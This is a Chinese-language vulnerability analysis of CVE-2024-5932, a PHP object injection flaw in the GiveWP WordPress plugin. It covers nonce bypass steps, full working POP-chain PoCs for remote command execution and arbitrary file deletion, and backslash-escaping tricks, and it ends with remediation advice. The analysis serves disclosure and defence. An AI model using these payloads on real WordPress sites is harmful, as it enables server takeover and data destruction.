CVE-2024-5932 Wordpress GiveWP PHP对象注入
字数 1297 2025-08-22 22:47:39

WordPress GiveWP插件反序列化漏洞分析 (CVE-2024-5932)

漏洞概述

影响范围: WordPress GiveWP插件3.14.1及之前版本

漏洞类型: PHP对象注入导致远程代码执行(RCE)和任意文件删除

CVSS评分: 9.8 (Critical)

漏洞描述: GiveWP插件在处理捐赠表单数据时,未对give_title参数进行充分过滤,导致攻击者可以通过构造恶意的序列化数据实现PHP对象注入。结合环境中存在的POP链,可实现远程代码执行和任意文件删除。

漏洞分析

1. 漏洞入口点

漏洞主要存在于wp-content/plugins/give/includes/process-donation.php文件的give_process_donation_form()函数中:

// wp-content/plugins/give/includes/process-donation.php:29
function give_process_donation_form() {
    // 验证nonce
    give_verify_donation_form_nonce();
    
    // 获取用户信息
    $user_info = array(
        'title' => isset($_POST['give_title']) ? $_POST['give_title'] : '',
        // 其他用户信息字段...
    );
    
    $donation_data = array(
        'user_info' => $user_info,
        // 其他捐赠数据...
    );
    
    // 处理捐赠数据
    give_send_to_gateway($donation_data);
}

2. 漏洞触发流程

  1. Nonce验证绕过:

    • 通过give_ajax_form_search()获取donation form信息
    • 使用give_donation_form_nonce()生成合法的give-form-hash
    • 绕过wp_verify_nonce()验证
  2. 恶意数据注入:

    • 通过give_title参数注入序列化对象
    • 数据经过stripslashes_deep()处理(需要特殊处理反斜杠)
  3. 数据存储与反序列化:

    • 数据被存储到数据库
    • 在发送邮件时通过give_get_payment_meta_user_info()获取数据
    • 调用give_get_email_names()时触发反序列化对象的__toString()方法

3. 关键函数调用链

give_process_donation_form()
├─ give_verify_donation_form_nonce()
│  └─ wp_verify_nonce()
├─ give_send_to_gateway()
│  └─ $donation->save()
└─ send_email_notification()
   └─ give_do_email_tags()
      └─ give_email_tag_first_name()
         ├─ give_get_payment_meta_user_info() // 反序列化
         └─ give_get_email_names() // 触发__toString()

利用技术

1. 远程代码执行(RCE) POP链

利用以下类构建POP链:

  1. Stripe\StripeObject: 存储恶意对象
  2. GiveInsertPaymentData: 传递用户信息
  3. Give: 容器类
  4. ValidGenerator: 设置validator为'system'
  5. SettingsRepository: 控制address1参数为要执行的命令

RCE PoC:

<?php
namespace Stripe {
    class StripeObject {
        public $_values;
        public function __construct($o) {
            $this->_values["test"] = $o;
        }
    }
}

namespace Give\PaymentGateways\DataTransferObjects {
    use Give\Donations\Properties\BillingAddress;
    final class GiveInsertPaymentData {
        public $userInfo;
        public function __construct($o) {
            $this->userInfo["address"] = $o;
        }
    }
}

namespace Give\Vendors\Faker {
    use Give\Vendors\Faker\Extension\Extension;
    class ValidGenerator {
        public $validator;
        public $generator;
        public $maxRetries;
        public function __construct($o) {
            $this->validator = 'system';
            $this->generator = $o;
            $this->maxRetries = 1; // 必须设置
        }
    }
}

namespace Give\Onboarding {
    use Give\Helpers\Gateways\Stripe;
    class SettingsRepository {
        public $settings;
        public function __construct() {
            $this->settings["address1"] = "calc"; // 要执行的命令
        }
    }
}

namespace {
    final class Give {
        public $container;
        public function __construct($o) {
            $this->container = $o;
        }
    }
}

namespace {
    $a = new \Stripe\StripeObject(
        new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData(
            new \Give(
                new \Give\Vendors\Faker\ValidGenerator(
                    new \Give\Onboarding\SettingsRepository()
                )
            )
        )
    );
    $a = serialize($a);
    $output = str_replace('\\', '\\\\', $a); // 处理反斜杠
    echo $output;
}

2. 任意文件删除POP链

利用TCPDF类的__destruct()方法:

<?php
class TCPDF {
    public $file_id;
    public $imagekeys = array();
    public function __construct() {
        $this->file_id = 123;
        $this->imagekeys = ['/path/to/file']; // 要删除的文件路径
    }
}
echo serialize(new TCPDF());

绕过技巧

1. 处理stripslashes_deep()

由于数据会经过三次stripslashes_deep()处理,需要对反斜杠进行特殊处理:

// 原始payload
$payload = 'O:8:"TestObj":1:{s:4:"data";s:12:"malicious\"";}';

// 处理后payload
$final_payload = str_replace('\\', '\\\\', $payload);
// 结果为: O:8:"TestObj":1:{s:4:"data";s:12:"malicious\\\\"";}

2. Nonce验证绕过

  1. 通过give_ajax_form_search()获取donation form ID
  2. 使用give_donation_form_nonce($form_id)生成合法的nonce
  3. 在请求中包含正确的give-form-idgive-form-hash

修复建议

  1. 升级GiveWP插件到3.14.2或更高版本
  2. 临时缓解措施:
    • 禁用GiveWP插件
    • 在Web应用防火墙(WAF)中拦截包含序列化数据的请求

参考链接

  1. Wordfence漏洞报告
  2. RCE Security分析
  3. PoC代码
WordPress GiveWP插件反序列化漏洞分析 (CVE-2024-5932) 漏洞概述 影响范围 : WordPress GiveWP插件3.14.1及之前版本 漏洞类型 : PHP对象注入导致远程代码执行(RCE)和任意文件删除 CVSS评分 : 9.8 (Critical) 漏洞描述 : GiveWP插件在处理捐赠表单数据时,未对 give_title 参数进行充分过滤,导致攻击者可以通过构造恶意的序列化数据实现PHP对象注入。结合环境中存在的POP链,可实现远程代码执行和任意文件删除。 漏洞分析 1. 漏洞入口点 漏洞主要存在于 wp-content/plugins/give/includes/process-donation.php 文件的 give_process_donation_form() 函数中: 2. 漏洞触发流程 Nonce验证绕过 : 通过 give_ajax_form_search() 获取donation form信息 使用 give_donation_form_nonce() 生成合法的 give-form-hash 绕过 wp_verify_nonce() 验证 恶意数据注入 : 通过 give_title 参数注入序列化对象 数据经过 stripslashes_deep() 处理(需要特殊处理反斜杠) 数据存储与反序列化 : 数据被存储到数据库 在发送邮件时通过 give_get_payment_meta_user_info() 获取数据 调用 give_get_email_names() 时触发反序列化对象的 __toString() 方法 3. 关键函数调用链 利用技术 1. 远程代码执行(RCE) POP链 利用以下类构建POP链: Stripe\StripeObject : 存储恶意对象 GiveInsertPaymentData : 传递用户信息 Give : 容器类 ValidGenerator : 设置validator为'system' SettingsRepository : 控制 address1 参数为要执行的命令 RCE PoC : 2. 任意文件删除POP链 利用TCPDF类的 __destruct() 方法: 绕过技巧 1. 处理stripslashes_ deep() 由于数据会经过三次 stripslashes_deep() 处理,需要对反斜杠进行特殊处理: 2. Nonce验证绕过 通过 give_ajax_form_search() 获取donation form ID 使用 give_donation_form_nonce($form_id) 生成合法的nonce 在请求中包含正确的 give-form-id 和 give-form-hash 修复建议 升级GiveWP插件到3.14.2或更高版本 临时缓解措施: 禁用GiveWP插件 在Web应用防火墙(WAF)中拦截包含序列化数据的请求 参考链接 Wordfence漏洞报告 RCE Security分析 PoC代码